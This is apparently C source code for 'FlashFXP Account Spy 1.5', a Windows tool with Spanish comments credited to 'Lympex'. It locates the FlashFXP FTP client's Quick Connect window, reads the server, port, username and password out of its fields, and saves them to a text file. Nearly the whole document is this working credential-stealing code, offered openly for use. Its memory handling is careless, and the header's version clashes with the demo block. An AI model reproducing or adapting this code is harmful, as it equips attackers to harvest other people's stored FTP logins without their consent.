/* Nombre: FlashFXP Account Spy 1.5 Archivo: FlashFXP.Account.Spy.1.5.c Probado en: FlashFXP 3.0.2 (build 1045) Fecha: 12/04/2007 Coder: Lympex Contact: + WebSite: http://l-bytes.tk + Mail: lympex[at]elhacker[dot]net [demo] C:\FlashFXP.Account.Spy.1.2>FlashFXP.Account.Spy.1.2.exe [+] FlashFXP Account Spy 1.2 [+] Tested on: FlashFXP 3.0.2 (build 1045) [+] Coded by Lympex: + Lympex[at]Gmail[dot]Com + Http://L-Bytes.Tk ------------------------------------------ [+] Searching: Quick Connect ...OK [+] Searching: General ...OK [+] Writting data ...OK + Data written in: Datos.txt C:\FlashFXP.Account.Spy.1.2> [/demo] */ #include #include #include #include #include /*Para obtener el titulo de las ventanas*/ #define TAM 512 char Titulo[TAM]; /*Para saber si hemos encontrado la ventana principal y la subventana*/ bool VEncontrada=false; bool PEncontrada=false; /*Para saber si podemos leer los datos*/ bool Datos=false; unsigned int c=0; /*Para guardar los datos en el fichero*/ FILE *Login; char Buff[512]; /*Fichero para volcar los datos*/ #define PATH "Credenciales.txt" /*Nombre del ejecutable del cliente FlashFXP*/ #define EXE_FTP "flashfxp.exe" /*Estructura del almacenamiento de las credenciales*/ struct Info { char *Server; char *Port; char *User; char *Password; }Credentials; /*Nos dice si una ventana pertenece a un proceso*/ bool VentanaProceso(HWND hwnd, char *Nombre) { DWORD Pid; HANDLE proc; MODULEENTRY32 datos; bool Pertenece=false; //obtenemos el PID del proceso responsable de la ventana GetWindowThreadProcessId(hwnd,&Pid); //cargamos el proceso proc=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,Pid);//con posibilidad para acceder a todo if(proc!=INVALID_HANDLE_VALUE) { if(Module32First(proc,&datos)==true) { if(strcmp(Nombre,datos.szModule)==0) { Pertenece=true; } } } CloseHandle(proc); return Pertenece==true?true:false; } /*Función para recorrer las subventanas de una ventana*/ BOOL CALLBACK EnumChildProc(HWND hwnd, DWORD lParam ) { char Clase[TAM]; char NControl[TAM]; int Tam_Texto=0; GetClassName(hwnd,Clase,TAM); Tam_Texto=SendMessage(hwnd,WM_GETTEXTLENGTH,0,0)+1; if(Tam_Texto>TAM) Tam_Texto=TAM; SendMessage(hwnd,WM_GETTEXT,TAM,(LPARAM)NControl); //printf("\n#Clase: %s\nContenido: %s#\n",Clase,NControl); //Si estamos en la subventana if(!strcmp(Clase,"TTabSheet") && !strcmp(NControl,"General")) { Datos=true; printf("OK\n[+] Obteniendo credenciales................"); } if(Datos==true)//si estamos sobre alguno de los campos de las credenciales { PEncontrada=true; //miramos en qué campo estamos switch(c) { case 0: c++; break; case 1: Credentials.Server=(char*)malloc(strlen(NControl)*sizeof(char*)); memset(Credentials.Server,0,sizeof(char*)); strcpy(Credentials.Server,NControl); c++; break; case 2: Credentials.Password=(char*)malloc(strlen(NControl)*sizeof(char*)); memset(Credentials.Password,0,sizeof(char*)); strcpy(Credentials.Password,NControl); c++; break; case 3: c++; break; case 4: Credentials.Port=(char*)malloc(strlen(NControl)*sizeof(char*)); memset(Credentials.Port,0,sizeof(char*)); strcpy(Credentials.Port,NControl); c++; break; case 5: c++; break; case 6: Credentials.User=(char*)malloc(strlen(NControl)*sizeof(char*)); memset(Credentials.User,0,sizeof(char*)); strcpy(Credentials.User,NControl); printf("OK"); c++; break; //default: // return false; } } return true; } //Vamos recorriendo todas las ventanas activas bool CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam) { //si es la ventana de credenciales memset(Titulo,0,sizeof(char)); if(GetWindowText(hwnd,Titulo,TAM)>0 && strstr(Titulo,"Quick Connect") && VentanaProceso(hwnd,EXE_FTP)==true) { VEncontrada=true; printf("OK\n[+] Buscando \"General\"....................."); //recorremos los objetos EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,0); } return true; } void Banner() { printf("\n[+] FlashFXP Account Spy 1.5"); printf("\n[+] Probado en: FlashFXP 3.0.2 (build 1045)"); printf("\n[+] Coded by Lympex:"); printf("\n + Lympex[at]elhacker[dot]Net"); printf("\n + Http://L-Bytes.Tk"); printf("\n-------------------------------------------\n"); return; } int main(int argc, char *argv[]) { Banner(); /* if((Login=fopen(PATH,"at"))==NULL) { printf("\n - Error. No se puede acceder al fichero: %s\n",PATH); }else{*/ printf("\n[+] Buscando ventana \"Quick Connect\"......."); EnumWindows((WNDENUMPROC)EnumWindowsProc,0); /*Mira si hemos encontrado la ventana*/ if(VEncontrada==false) { printf("ERROR\n - Ventana no encontrada\n"); fclose(Login); }else if(PEncontrada==false){ printf("ERROR\n - Ventana no encontrada\n"); fclose(Login); }else{ if((Login=fopen(PATH,"at"))==NULL) { printf("\n - Error. No se puede acceder al fichero: %s\n",PATH); }else{ printf("\n[+] Guardando datos en \"%s\"..",PATH); fprintf(Login,"\n####################################"); fprintf(Login,"\nServidor: %s",Credentials.Server); fprintf(Login,"\nPuerto: %s",Credentials.Port); fprintf(Login,"\nUsuario: %s",Credentials.User); fprintf(Login,"\nPassword: %s",Credentials.Password); fprintf(Login,"\n####################################\n"); printf("OK"); fclose(Login); printf("\n[+] Datos guardados!\n"); } } puts(""); system("pause"); return 0; }